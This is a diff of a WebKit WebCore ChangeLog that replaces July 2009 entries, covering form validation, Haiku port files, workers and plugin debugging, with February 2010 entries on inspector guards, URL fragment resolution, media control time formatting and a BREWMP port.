-        (WebCore::HTMLInputElement::isRequiredFormControl): ditto
-        * html/HTMLInputElement.h:
-        (WebCore::HTMLInputElement::isOptionalFormControl): ditto
-        * html/HTMLInputElement.idl: required DOM attribute
-        * html/HTMLSelectElement.h:
-        (WebCore::HTMLSelectElement::isOptionalFormControl): ditto
-        * html/HTMLTextAreaElement.h:
-        (WebCore::HTMLTextAreaElement::valueMissing): validation code
-        (WebCore::HTMLTextAreaElement::isOptionalFormControl): ditto
-        (WebCore::HTMLTextAreaElement::isRequiredFormControl): ditto
-        * html/HTMLTextAreaElement.idl: required DOM attribute
-        * html/ValidityState.cpp:
-        * html/ValidityState.h:
-        (WebCore::ValidityState::valueMissing): validation flag
-
-2009-07-17  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27390 CSS custom 
-        cursor hotspots should work in quirks mode
-        - and corresponding <rdar://problem/6554340>
-
-        Enable hotspots in quirks mode.
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-
-        Update this manual test to reflect the fact that hotspots are now 
-        expected to work in quirks mode.
-        * manual-tests/css3-cursor-fallback-quirks.html:
-
-2009-07-17  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Steve Falkenburg.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27323
-        Only add Cygwin to the path when it isn't already there.  This avoids
-        causing problems for people who purposefully have non-Cygwin versions of
-        executables like svn in front of the Cygwin ones in their paths.
-
-        * WebCore.vcproj/QTMovieWin.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/WebCoreGenerated.vcproj:
-
-2009-07-17  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27384
-        Random crashes in appcache/update-cache.html test
-
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::didReceiveResponse): Reorder code to avoid using a handle
-        after canceling it.
-
-2009-07-17  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Need to refactor Worker to derive from AbstractWorker
-        https://bugs.webkit.org/show_bug.cgi?id=26948
-
-        Changed Worker to derive from AbstractWorker, which involved moving
-        AbstractWorker files from being wrapped by ENABLE_SHARED_WORKERS to
-        ENABLE_WORKERS.
-
-        Removed obsolete functionality from the JS/V8 bindings that is now
-        inherited from AbstractWorker.
-
-        * WebCore.pro:
-        Moved AbstractWorker files out of SHARED_WORKERS section and into WORKERS.
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
-        * bindings/js/JSWorkerCustom.cpp:
-        Removed obsolete event listener code (now in base class)
-        (WebCore::JSWorker::mark):
-        No longer need to explicitly mark event listeners (handled by base class).
-        * bindings/v8/V8Index.h:
-        Moved AbstractWorker lines out of SHARED_WORKERS section and into WORKERS.
-        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
-        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
-        * bindings/v8/custom/V8CustomBinding.h:
-        Moved AbstractWorker lines out of SHARED_WORKERS section and into WORKERS.
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        Removed obsolete event listener code that now lives in the base class.
-        (WebCore::V8WorkerConstructor): Cleaned up legacy style nits.
-        * workers/AbstractWorker.cpp:
-        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
-        * workers/AbstractWorker.h:
-        Changed to be wrapped by ENABLE(WORKERS), not ENABLE(SHARED_WORKERS).
-        * workers/Worker.cpp:
-        Removed event listener code (now in base class).
-        (WebCore::Worker::Worker): Now derives from AbstractWorker.
-        (WebCore::Worker::notifyFinished): Calls dispatchLoadErrorEvent on base class.
-        * workers/Worker.h:
-        Removed APIs that now live in the base class.
-        * workers/Worker.idl:
-        Now derives from AbstractWorker.
-        Removed APIs that live in the base class, and added a GenerateToJS flag.
-
-2009-07-17  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27379
-        Absolutely-positioned elements with a scrollbar wrap prematurely.  Make sure to include
-        the vertical scrollbar width for overflow:scroll elements.
-
-        Added fast/css/positioned-overflow-scroll.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::calcPrefWidths):
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::RenderFlexibleBox::calcPrefWidths):
-
-2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Need a DOM_STORAGE guard in DerivedSroucesAllInOne.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=27375
-
-        In https://bugs.webkit.org/show_bug.cgi?id=27360 I added Storage.cpp
-        and StorageEvent.cpp.  Unfortunately, until later this afternoon,
-        DOM_STORAGE is not turned on by default in Chromium, and so these two
-        files are never generated.  This breaks the compile.
-
-        There are no other instances of guards in the file, which puzzles me...
-        but I think adding guards is the right way to go about this.
-
-        * bindings/v8/DerivedSourcesAllInOne.cpp:  Added the guard.
-
-2009-07-17  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26496
-
-        Let WebCore always enforce the connection-per-host limit itself.
-
-        * loader/loader.cpp:
-        (WebCore::Loader::Host::servePendingRequests):
-
-2009-07-17  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by David Hyatt.
-
-        Some transitions don't work correctly on Leopard
-        https://bugs.webkit.org/show_bug.cgi?id=27356
-
-        We only have code to do component animation using valueFunction.
-        So on Leopard we always need to do matrix animation in hardware.
-        This fix ensures that. 
-
-        This is currently not testable because it appears only in the
-        hardware animation and we can't yet do pixel tests while 
-        hardware animating.
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::animateTransform):
-
-2009-07-17  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK+] Crash in screenAvailable due a null Widget*
-
-        JSDOMWindow::open called screenAvailableRect(0). The other
-        Screen methods can be called with a null widget as well, fix the
-        crashing test by checking for null.
-
-        In screenRect and screenAvailableRect it is not tried to use
-        a default screen as the existing implementation didn't try either
-        in case of not having a toplevel widget.
-
-        LayoutTests/fast/frames/crash-removed-iframe.html caused a crash.
-
-        * platform/gtk/PlatformScreenGtk.cpp:
-        (WebCore::getVisual): New method to get a visual or return zero.
-        (WebCore::screenDepth): Use getVisual.
-        (WebCore::screenDepthPerComponent): Use getVisual.
-        (WebCore::screenIsMonochrome): Use screenDepth which will do the null checking
-        (WebCore::screenRect): Check for !widget.
-        (WebCore::screenAvailableRect): Check for !widget.
-
-2009-07-17  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Fix the include path for the Symbian port
-        https://bugs.webkit.org/show_bug.cgi?id=27358
-
-        * WebCore.pro:
-
-2009-07-17  Kenneth Rohde Christiansen  <kenneth.christiansen@openbossa.org>
-
-        Reviewed by Simon Hausmann.
-
-        Make it possible to set the plugin directories from the DRT.
-        Part of https://bugs.webkit.org/show_bug.cgi?id=27215
-
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::installedPlugins): Now optionally takes
-        a populate argument, so we can avoid loading system plugins from the
-        DRT and thus avoid their strerr errors that can make tests fail.
-        (WebCore::PluginDatabase::clear): Make it possible to clear the
-        database. Called from setPluginDirectories.
-        * plugins/PluginDatabase.h:
-        (WebCore::PluginDatabase::setPluginDirectories): Make public
-
-2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        PluginViewMac: Stop the plugin when loading fails
-
-        Also, prevent event propagation when in the stopped state
-
-        * plugins/mac/PluginViewMac.cpp:
-
-2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        PluginViewMac: Allow query and set of drawing and event models
-
-        We now support querying and setting of the drawing and event model,
-        but we still only support the CoreGraphics drawing model, and the
-        Carbon event model.
-
-        If unsupported drawing or event models are detected we show the
-        missing-plugin icon.
-
-        * plugins/PluginView.cpp:
-        * plugins/PluginView.h:
-        * plugins/mac/PluginViewMac.cpp:
-
-2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Initialize two PluginView members using memset
-
-        m_npWindow is used on all platforms, not just for XP_UNIX,
-        so always initialize it. m_npCgContext on the other hand
-        is only used for XP_MACOSX.
-
-        * plugins/PluginView.cpp:
-
-2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Add more debug logging in PluginView
-
-        * plugins/PluginView.cpp: Add debug for setValue
-        * plugins/gtk/PluginViewGtk.cpp: Add debug for getValue
-        * plugins/mac/PluginViewMac.cpp: Add debug for getValue and more
-        * plugins/qt/PluginViewQt.cpp: Add debug for getValue
-        * plugins/win/PluginViewWin.cpp: Add debug for getValue
-
-2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        Use same license in PluginDebug.cpp as in the original PluginDebug.h
-
-        * plugins/PluginDebug.cpp: Use license from PluginDebug.h
-
-2009-07-17  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Add more debugging functionality for the WebCore NPAPI layer
-
-        * GNUmakefile.am: Add PluginDebug.cpp
-        * WebCore.gypi: Add PluginDebug.cpp
-        * WebCore.pro: Add PluginDebug.cpp
-        * WebCore.vcproj/WebCore.vcproj: Add PluginDebug.cpp
-        * WebCoreSources.bkl: Add PluginDebug.cpp
-        * plugins/PluginDebug.h: Move errorStrings to PluginDebug.cpp
-        * plugins/PluginDebug.cpp: New file
-
-2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by David Levin.
-
-        Fix Chromium build with DOM_STORAGE enabled.
-        https://bugs.webkit.org/show_bug.cgi?id=27360
-
-        2 minor changes as noted below:
-
-        * bindings/v8/DerivedSourcesAllInOne.cpp: Add the generated .cpp files.
-        * storage/StorageAreaImpl.cpp:  #include "DOMWindow.h"
-
-2009-07-16  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by David Levin.
-
-        Add --web-sockets flag and ENABLE_WEB_SOCKETS define.
-        https://bugs.webkit.org/show_bug.cgi?id=27206
-        
-        Add ENABLE_WEB_SOCKETS
-
-        * Configurations/FeatureDefines.xcconfig: add ENABLE_WEB_SOCKETS
-        * GNUmakefile.am: add ENABLE_WEB_SOCKETS
-        * WebCore.vcproj/WebCoreCommon.vsprops: add ENABLE_WEB_SOCKETS
-        * WebCore.vcproj/build-generated-files.sh: add ENABLE_WEB_SOCKETS
-
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Oliver Hunt.
-
-        Added a third bunch of Haiku-specific files for WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=26952
-
-        Adding five files, EventLoopHaiku.cpp, FileChooserHaiku.cpp,
-        FileSystemHaiku.cpp, KeyboardCodes.h and MIMETypeRegistryHaiku.cpp
-
-        * platform/haiku/EventLoopHaiku.cpp: Added.
-        (WebCore::EventLoop::cycle):
-        * platform/haiku/FileChooserHaiku.cpp: Added.
-        (WebCore::FileChooser::FileChooser):
-        (WebCore::FileChooser::basenameForWidth):
-        * platform/haiku/FileSystemHaiku.cpp: Added.
-        (WebCore::fileSystemRepresentation):
-        (WebCore::homeDirectoryPath):
-        (WebCore::openTemporaryFile):
-        (WebCore::closeFile):
-        (WebCore::writeToFile):
-        (WebCore::unloadModule):
-        (WebCore::listDirectory):
-        * platform/haiku/KeyboardCodes.h: Added.
-        * platform/haiku/MIMETypeRegistryHaiku.cpp: Added.
-        (WebCore::):
-        (WebCore::MIMETypeRegistry::getMIMETypeForExtension):
-
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Oliver Hunt.
-
-        Added a second bunch of Haiku-specific files for WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=26952
-
-        Adding four files, ContextMenuHaiku.cpp, ContextMenuItemHaiku.cpp,
-        DragDataHaiku.cpp and DragImageHaiku.cpp
-
-        * platform/haiku/ContextMenuHaiku.cpp: Added.
-        (WebCore::ContextMenuReceiver::ContextMenuReceiver):
-        (WebCore::ContextMenuReceiver::HandleMessage):
-        (WebCore::ContextMenuReceiver::Result):
-        (WebCore::ContextMenu::ContextMenu):
-        (WebCore::ContextMenu::~ContextMenu):
-        (WebCore::ContextMenu::appendItem):
-        (WebCore::ContextMenu::itemCount):
-        (WebCore::ContextMenu::insertItem):
-        (WebCore::ContextMenu::platformDescription):
-        (WebCore::ContextMenu::setPlatformDescription):
-        * platform/haiku/ContextMenuItemHaiku.cpp: Added.
-        (ContextMenuItem::ContextMenuItem):
-        (ContextMenuItem::~ContextMenuItem):
-        (ContextMenuItem::releasePlatformDescription):
-        (ContextMenuItem::type):
-        (ContextMenuItem::setType):
-        (ContextMenuItem::action):
-        (ContextMenuItem::setAction):
-        (ContextMenuItem::title):
-        (ContextMenuItem::setTitle):
-        (ContextMenuItem::platformSubMenu):
-        (ContextMenuItem::setSubMenu):
-        (ContextMenuItem::setChecked):
-        (ContextMenuItem::setEnabled):
-        (ContextMenuItem::enabled):
-        * platform/haiku/DragDataHaiku.cpp: Added.
-        (WebCore::DragData::canSmartReplace):
-        (WebCore::DragData::containsColor):
-        (WebCore::DragData::containsFiles):
-        (WebCore::DragData::asFilenames):
-        (WebCore::DragData::containsPlainText):
-        (WebCore::DragData::asPlainText):
-        (WebCore::DragData::asColor):
-        (WebCore::DragData::createClipboard):
-        (WebCore::DragData::containsCompatibleContent):
-        (WebCore::DragData::containsURL):
-        (WebCore::DragData::asURL):
-        (WebCore::DragData::asFragment):
-        * platform/haiku/DragImageHaiku.cpp: Added.
-        (WebCore::dragImageSize):
-        (WebCore::deleteDragImage):
-        (WebCore::scaleDragImage):
-        (WebCore::dissolveDragImageToFraction):
-        (WebCore::createDragImageFromImage):
-        (WebCore::createDragImageIconForCachedImage):
-
-2009-07-16  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by Darin Fisher and Brett Wilson.
-
-        Refactor Skia implementation of gradients and patterns.
-
-        http://bugs.webkit.org/show_bug.cgi?id=26618
-
-        The following layout tests were breaking on Chromium/Linux:
-
-        LayoutTests/svg/custom/js-late-gradient-creation.svg (bad baseline PNG)
-        LayoutTests/svg/custom/js-late-gradient-and-object.creation.svg
-        LayoutTests/svg/custom/js-late-pattern-creation.svg (bad baseline PNG)
-        LayoutTests/svg/custom/js-late-pattern-and-object-creation.svg
-
-        I could've fixed these the easy way, by copying the same 5
-        lines of code we use everywhere we need patterns or gradients, but
-        I decided to fix it the hard way:  by refactoring the code so that
-        PlatformContextSkia::setupPaintForFilling() and
-        PlatformContextSkia::setupPaintForStroking() do the right thing,
-        and also handle gradients and patterns.
-        
-        This required pushing the gradients and patterns set in 
-        (generic) GraphicsContext::setFillPattern() and friends down into
-        PlatformContextSkia.  For this, I followed the setPlatformXXX()
-        pattern used elsewhere in GraphicsContext, and stubbed them out on
-        the other platforms with #if !PLATFORM(SKIA).  This also required
-        pushing changes to the gradientSpaceTransform from the Gradient into 
-        GradientSkia.
-
-        Since it's a Skia context, I decided to cache the values as
-        SkShaders.  There were existing m_pattern and m_gradient SkShaders,
-        but they were unused, and whose use was ambiguous, so I
-        replaced them with one SkShader each for filling and stroking.
-
-        * platform/graphics/Gradient.cpp:
-        (WebCore::Gradient::setGradientSpaceTransform):
-        (WebCore::Gradient::setPlatformGradientSpaceTransform):
-        * platform/graphics/Gradient.h:
-        * platform/graphics/GraphicsContext.cpp:
-        (WebCore::GraphicsContext::setStrokePattern):
-        (WebCore::GraphicsContext::setFillPattern):
-        (WebCore::GraphicsContext::setStrokeGradient):
-        (WebCore::GraphicsContext::setFillGradient):
-        (WebCore::GraphicsContext::setPlatformFillGradient):
-        (WebCore::GraphicsContext::setPlatformFillPattern):
-        (WebCore::GraphicsContext::setPlatformStrokeGradient):
-        (WebCore::GraphicsContext::setPlatformStrokePattern):
-        * platform/graphics/GraphicsContext.h:
-        * platform/graphics/skia/GradientSkia.cpp:
-        (WebCore::Gradient::setPlatformGradientSpaceTransform):
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::fillPath):
-        (WebCore::GraphicsContext::fillRect):
-        (WebCore::GraphicsContext::setPlatformFillGradient):
-        (WebCore::GraphicsContext::setPlatformFillPattern):
-        (WebCore::GraphicsContext::setPlatformStrokeGradient):
-        (WebCore::GraphicsContext::setPlatformStrokePattern):
-        (WebCore::GraphicsContext::strokePath):
-        (WebCore::GraphicsContext::strokeRect):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::State::State):
-        (PlatformContextSkia::State::~State):
-        (PlatformContextSkia::drawRect):
-        (PlatformContextSkia::setupPaintCommon):
-        (PlatformContextSkia::setupPaintForFilling):
-        (PlatformContextSkia::setupPaintForStroking):
-        (PlatformContextSkia::setFillColor):
-        (PlatformContextSkia::setStrokeColor):
-        (PlatformContextSkia::setStrokeShader):
-        (PlatformContextSkia::setFillShader):
-        * platform/graphics/skia/PlatformContextSkia.h:
-        * platform/graphics/skia/SkiaFontWin.cpp:
-        (WebCore::skiaDrawText):
-        (WebCore::paintSkiaText):
-        * svg/graphics/SVGPaintServer.cpp:
-        (WebCore::SVGPaintServer::teardown):
-
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Oliver Hunt.
-
-        Added Haiku-specific files for WebCore/platform/image-decoders/.
-        https://bugs.webkit.org/show_bug.cgi?id=26949
+2010-02-04  Mikhail Naganov  <mnaganov@chromium.org>
 
-        Adding a new file, ImageDecoderHaiku.cpp.
+        Reviewed by Timothy Hatcher.
 
-        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp: Added.
-        (WebCore::RGBA32Buffer::RGBA32Buffer):
-        (WebCore::RGBA32Buffer::clear):
-        (WebCore::RGBA32Buffer::zeroFill):
-        (WebCore::RGBA32Buffer::copyBitmapData):
-        (WebCore::RGBA32Buffer::setSize):
-        (WebCore::RGBA32Buffer::asNewNativeImage):
-        (WebCore::RGBA32Buffer::hasAlpha):
-        (WebCore::RGBA32Buffer::setHasAlpha):
-        (WebCore::RGBA32Buffer::setStatus):
-        (WebCore::RGBA32Buffer::operator=):
-        (WebCore::RGBA32Buffer::width):
-        (WebCore::RGBA32Buffer::height):
+        Put JSC-specific debugger & profiler code under "USE(JSC)" defines.
+        The plan is to enable "JAVASCRIPT_DEBUGGER" in Chromium and then
+        make this code engine-agnostic.
 
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34531
 
-        Reviewed by Eric Seidel.
+        * inspector/InjectedScriptHost.cpp:
+        * inspector/InjectedScriptHost.h:
+        * inspector/InspectorBackend.cpp:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::didCommitLoad):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        * inspector/InspectorFrontend.h:
+        * inspector/JavaScriptCallFrame.cpp:
+        * inspector/JavaScriptCallFrame.h:
+        * inspector/JavaScriptDebugListener.h:
+        * inspector/JavaScriptDebugServer.cpp:
+        * inspector/JavaScriptDebugServer.h:
+        * inspector/JavaScriptProfile.cpp:
+        * inspector/JavaScriptProfile.h:
+        * inspector/JavaScriptProfileNode.cpp:
+        * inspector/JavaScriptProfileNode.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
+        * page/Page.cpp:
+        (WebCore::Page::Page):
 
-        Added Haiku-specific files for WebCore/page/.
-        https://bugs.webkit.org/show_bug.cgi?id=26949
+2010-02-03  Nicholas Young  <nicholas.young@nokia.com>
 
-        Adding three new files, DragControllerHaiku.cpp, EventHandlerHaiku.cpp
-        and FrameHaiku.cpp
+        Reviewed by Eric Carlson.
 
-        * page/haiku/DragControllerHaiku.cpp: Added.
-        (WebCore::DragController::isCopyKeyDown):
-        (WebCore::DragController::dragOperation):
-        (WebCore::DragController::maxDragImageSize):
-        (WebCore::DragController::cleanupAfterSystemDrag):
-        * page/haiku/EventHandlerHaiku.cpp: Added.
-        (WebCore::isKeyboardOptionTab):
-        (WebCore::EventHandler::invertSenseOfTabsToLinks):
-        (WebCore::EventHandler::tabsToAllControls):
-        (WebCore::EventHandler::focusDocumentView):
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        (WebCore::EventHandler::passMouseDownEventToWidget):
-        (WebCore::EventHandler::eventActivatedView):
-        (WebCore::EventHandler::passSubframeEventToSubframe):
-        (WebCore::EventHandler::passWheelEventToWidget):
-        (WebCore::EventHandler::createDraggingClipboard):
-        (WebCore::EventHandler::passMousePressEventToSubframe):
-        (WebCore::EventHandler::passMouseMoveEventToSubframe):
-        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
-        (WebCore::EventHandler::accessKeyModifiers):
-        * page/haiku/FrameHaiku.cpp: Added.
-        (WebCore::Frame::dragImageForSelection):
+        Defer formatting of times displayed on media controls to the current theme.
+        https://bugs.webkit.org/show_bug.cgi?id=34405
 
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+        No new tests needed. Refactoring Only.
 
-        Reviewed by Eric Seidel.
+        * rendering/MediaControlElements.cpp: Removed formatTime()
+        (WebCore::MediaControlTimeDisplayElement::setCurrentValue): No longer sets inner text
+        * rendering/MediaControlElements.h:
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::updateTimeDisplay): Asks the theme to format the time display elements
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::formatMediaControlsTime): new virtual method
+        (WebCore::RenderTheme::formatMediaControlsCurrentTime): new virtual method
+        (WebCore::RenderTheme::formatMediaControlsRemainingTime): new virtual method
+        * rendering/RenderTheme.h:
 
-        Added Haiku-specific files for WebCore/editing/.
-        https://bugs.webkit.org/show_bug.cgi?id=26949
+2010-02-03  Steve Falkenburg  <sfalken@apple.com>
 
-        Adding one new file, EditorHaiku.cpp
+        Windows Debug_All build fix.
 
-        * editing/haiku/EditorHaiku.cpp: Added.
-        (WebCore::Editor::newGeneralClipboard):
+        * platform/graphics/win/WKCACFLayer.cpp:
 
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+2010-02-03  Brady Eidson  <beidson@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Alexey Proskuryakov.
 
-        Added Haiku-specific files for WebCore/bindings/js/.
-        https://bugs.webkit.org/show_bug.cgi?id=26949
+        REGRESSION (r51644): WebCore/manual-tests/linkjump-1.html fails
+        <rdar://problem/7595694> and https://bugs.webkit.org/show_bug.cgi?id=34550
 
-        Adding a new file, ScriptControllerHaiku.cpp
+        Tests: fast/loader/document-with-fragment-url-1.html
+               fast/loader/document-with-fragment-url-2.html
+               fast/loader/document-with-fragment-url-3.html
+               fast/loader/document-with-fragment-url-4.html
 
-        * bindings/js/ScriptControllerHaiku.cpp: Added.
-        (WebCore::ScriptController::createScriptInstanceForWidget):
+        * platform/KURL.cpp:
+        (WebCore::KURL::init): When resolving new URL from an empty reference relative to an absolute URL,
+          any fragment identifier from the absolute URL should be removed from the resulting resolution.
 
-2009-07-16  Maxime Simon  <simon.maxime@gmail.com>
+2010-02-03  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        Added Haiku-specific files for WebCore/platform/text/.
-        https://bugs.webkit.org/show_bug.cgi?id=26949
+        [BREWMP] Port TextBreakIteratorInternalICU
+        https://bugs.webkit.org/show_bug.cgi?id=34515
 
-        Adding two new files, StringHaiku.cpp
-        and TextBreakIteratorInternalICUHaiku.cpp
+        Port TextBreakIteratorInternalICU.
 
-        * platform/text/haiku/StringHaiku.cpp: Added.
-        (WebCore::String::String):
-        (WebCore::String::operator BString):
-        * platform/text/haiku/TextBreakIteratorInternalICUHaiku.cpp: Added.
+        * platform/text/brew/TextBreakIteratorInternalICUBrew.cpp: Added.
+        (WebCore::currentSearchLocaleID):
         (WebCore::currentTextBreakLocaleID):
 
-2009-07-16  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Sends the basename of a selected file for non-multipart form submission.
-        <https://bugs.webkit.org/show_bug.cgi?id=26505>
-
-        Test: fast/forms/get-file-upload.html
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::appendFormData):
-
-2009-07-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by David Levin.
-
-        [V8] Centralize hidden property names
-        https://bugs.webkit.org/show_bug.cgi?id=27359
-
-        No behavior change.  Just moving these names to a central location.
-        I'll move the rest of our hidden property names as I sweep though the
-        bindings.
-
-        * WebCore.gypi:
-        * bindings/v8/V8HiddenPropertyName.cpp: Added.
-        (WebCore::V8HiddenPropertyName::objectPrototype):
-        (WebCore::V8HiddenPropertyName::isolatedWorld):
-        * bindings/v8/V8HiddenPropertyName.h: Added.
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
-        (WebCore::V8IsolatedWorld::getEntered):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::getHiddenObjectPrototype):
-        (WebCore::V8Proxy::installHiddenObjectPrototype):
-
-2009-07-16  Dan Bernstein  <mitz@apple.com>
+2010-02-03  Adele Peterson  <adele@apple.com>
 
         Reviewed by Simon Fraser.
 
-        REGRESSION (r41238) Repainted portion of a scaled image does not line up with full image
-        https://bugs.webkit.org/show_bug.cgi?id=26747
-        rdar://problem/7009243
-
-        Test: fast/repaint/background-misaligned.html
-
-        * platform/graphics/Image.cpp:
-        (WebCore::Image::drawTiled): Moved a variable definition closer to where
-        it is used.
-        * platform/graphics/cg/ImageCG.cpp:
-        (WebCore::BitmapImage::draw): In the subimage code path, compute a
-        pixel-aligned source rect, because the subiamge is always pixel-aligned
-        in source space, and adjust the destination rect to preserve the
-        source -> destination mapping. Clip to the (original) destination rect
-        to prevent bleeding out.
-
-2009-07-16  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Add a sessionStorageEnabled setting to the settings class.
-        https://bugs.webkit.org/show_bug.cgi?id=27318
-
-        Allow LocalStorage to be enabled without enabling SessionStorage at
-        runtime.  There is a settings class setting for localStorage, but not
-        for sessionStorage.  We want to be able to test one of these features
-        without necessarily enabling the other.
-
-        SessionStorage defaults to true so as to not change behavior and
-        because there really aren't any security concerns around SessionStorage
-        (unlike LocalsStorage).  The flag is needed in Chromium only because
-        we want to enable the compile time flag in the default build, but don't
-        want it on by default until it's been thoroughly tested.
-
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::sessionStorage):  Check the new flag
-        (WebCore::DOMWindow::localStorage):  A bit of cleanup
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):  Default the flag to true
-        (WebCore::Settings::setSessionStorageEnabled):  Add the new flag
-        * page/Settings.h:
-        (WebCore::Settings::sessionStorageEnabled):  Get the new flag
-
-2009-07-16  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed.
-
-        Revert 45987.  Tests did not pass on Windows.
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::appendFormData):
-
-2009-07-16  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Added SHARED_WORKER flag to Windows build files, as well as associated .ccp/.h files.
-        Added missing V8 bindings to the AllInOne file
-
-        https://bugs.webkit.org/show_bug.cgi?id=27321
-
-        * WebCore.vcproj/WebCore.vcproj:
-        Added missing files to build.
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        Added missing V8 bindings (V8AbstractWorker.cpp and V8SharedWorker.cpp)
-        * DerivedSources.cpp
-        Added missing JS bindings (JSAbstractWorker.cpp and JSSharedWorker.cpp)
-
-2009-07-16  John Abd-El-Malek  <jam@chromium.org>
-
-        Reviewed by David Levin.
-
-        Add a getter in MessagePortChannel for the PlatformMessagePortChannel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27337
-
-        * dom/MessagePortChannel.h:
-        (WebCore::MessagePortChannel::channel):
-
-2009-07-16  Xiaomei Ji  <xji@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Fix tooltip does not get its directionality from its element's directionality.
-        https://bugs.webkit.org/show_bug.cgi?id=24187
-
-        Per mitz's suggestion in comment #6, while getting the plain-text 
-        title, we also get the directionality of the title. How to handle 
-        the directionality is up to clients. Clients could ignore it, 
-        or use attribute or unicode control characters to display the title
-        as what they want.
-
-        WARNING: NO TEST CASES ADDED OR CHANGED
-
-        * WebCore.base.exp: Replace 2 names due to signature change.
-        * loader/EmptyClients.h: 
-        (WebCore::EmptyChromeClient::setToolTip): Add direction as 2nd parameter.
-        * page/Chrome.cpp:
-        (WebCore::Chrome::setToolTip): Calculate tooltip direction as well and pass it to client to take care when display tooltip.
-        * page/ChromeClient.h: Add direction as 2nd parameter to pure virtual function setToolTip().
-        * page/chromium/ChromeClientChromium.h:
-        (WebCore::ChromeClientChromium::setToolTip): Add setToolTip() 
-        temprarily to make chromium compile after pick up this webkit patch.
